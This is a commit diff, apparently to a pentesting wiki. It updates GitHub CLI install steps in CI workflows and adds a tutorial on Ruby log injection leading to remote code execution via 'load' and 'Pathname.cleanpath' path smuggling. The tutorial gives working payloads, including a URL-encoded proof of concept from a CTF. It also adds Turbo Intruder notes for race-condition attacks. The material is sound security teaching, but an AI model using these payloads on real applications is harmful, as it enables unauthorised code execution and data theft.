This commit is contained in:
carlospolop 2025-09-30 23:10:37 +02:00
parent a96eb96d2e
commit 1dfdae29f3
5 changed files with 106 additions and 3 deletions

View File

@ -26,6 +26,14 @@ jobs:
git config --global user.email "action@github.com" git config --global user.email "action@github.com"
git config --global user.name "GitHub Action" git config --global user.name "GitHub Action"
- name: Install GitHub CLI
run: |
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y
- name: Check for running workflows - name: Check for running workflows
id: check_workflows id: check_workflows
run: | run: |

View File

@ -37,8 +37,11 @@ jobs:
- name: Install GitHub CLI - name: Install GitHub CLI
run: | run: |
sudo apt-get update curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
sudo apt-get install -y gh && sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y
- name: Publish search index release asset - name: Publish search index release asset
shell: bash shell: bash

View File

@ -65,7 +65,13 @@ jobs:
- name: Update and download scripts - name: Update and download scripts
run: | run: |
sudo apt-get update sudo apt-get update
sudo apt-get install -y wget gh # Install GitHub CLI properly
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y \
&& sudo apt-get install -y wget
mkdir scripts mkdir scripts
cd scripts cd scripts
wget -O get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py wget -O get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py

View File

@ -92,9 +92,87 @@ Notes:
{{#endref}} {{#endref}}
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
When an app (often a simple Rack/Sinatra/Rails endpoint) both:
- logs a user-controlled string verbatim, and
- later `load`s a file whose path is derived from that same string (after `Pathname#cleanpath`),
You can often achieve remote code execution by poisoning the log and then coercing the app to `load` the log file. Key primitives:
- Ruby `load` evaluates the target file content as Ruby regardless of file extension. Any readable text file whose contents parse as Ruby will be executed.
- `Pathname#cleanpath` collapses `.` and `..` segments without hitting the filesystem, enabling path smuggling: attacker-controlled junk can be prepended for logging while the cleaned path still resolves to the intended file to execute (e.g., `../logs/error.log`).
### Minimal vulnerable pattern
```ruby
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
```
### Why the log can contain valid Ruby
`Logger` writes prefix lines like:
```
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
```
In Ruby, `#` starts a comment and `9/2/2025` is just arithmetic. To inject valid Ruby code you need to:
- Begin your payload on a new line so it is not commented out by the `#` in the INFO line; send a leading newline (`\n` or `%0A`).
- Close the dangling `[` introduced by the INFO line. A common trick is to start with `]` and optionally make the parser happy with `][0]=1`.
- Then place arbitrary Ruby (e.g., `system(...)`).
Example of what will end up in the log after one request with a crafted param:
```
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
```
### Smuggling a single string that both logs code and resolves to the log path
We want one attacker-controlled string that:
- when logged raw, contains our Ruby payload, and
- when passed through `Pathname.new(<input>).cleanpath`, resolves to `../logs/error.log` so the subsequent `load` executes the just-poisoned log file.
`Pathname#cleanpath` ignores schemes and collapses traversal components, so the following works:
```ruby
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
```
- The `#` before `://` ensures Ruby ignores the tail when the log is executed, while `cleanpath` still reduces the suffix to `../logs/error.log`.
- The leading newline breaks out of the INFO line; `]` closes the dangling bracket; `][0]=1` satisfies the parser.
### End-to-end exploitation
1. Send the following as the backup script name (URL-encode the first newline as `%0A` if needed):
```
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
```
2. The app logs your raw string into `logs/error.log`.
3. The app computes `cleanpath` which resolves to `../logs/error.log` and calls `load` on it.
4. Ruby executes the code you injected in the log.
To exfiltrate a file in a CTF-like environment:
```
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
```
URL-encoded PoC (first char is a newline):
```
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
```
## References ## References
- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670 - Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v - GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -223,6 +223,14 @@ while "objetivo" not in response.text:
response = requests.get(url, verify=False) response = requests.get(url, verify=False)
``` ```
#### Turbo Intruder: engine and gating notes
- Engine selection: use `Engine.BURP2` on HTTP/2 targets to trigger the singlepacket attack; fall back to `Engine.THREADED` or `Engine.BURP` for HTTP/1.1 lastbyte sync.
- `gate`/`openGate`: queue many copies with `gate='race1'` (or perattempt gates), which withholds the tail of each request; `openGate('race1')` flushes all tails together so they arrive nearly simultaneously.
- Diagnostics: negative timestamps in Turbo Intruder indicate the server responded before the request was fully sent, proving overlap. This is expected in true races.
- Connection warming: send a ping or a few harmless requests first to stabilise timings; optionally disable `TCP_NODELAY` to encourage batching of the final frames.
### Improving Single Packet Attack ### Improving Single Packet Attack
In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms. In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.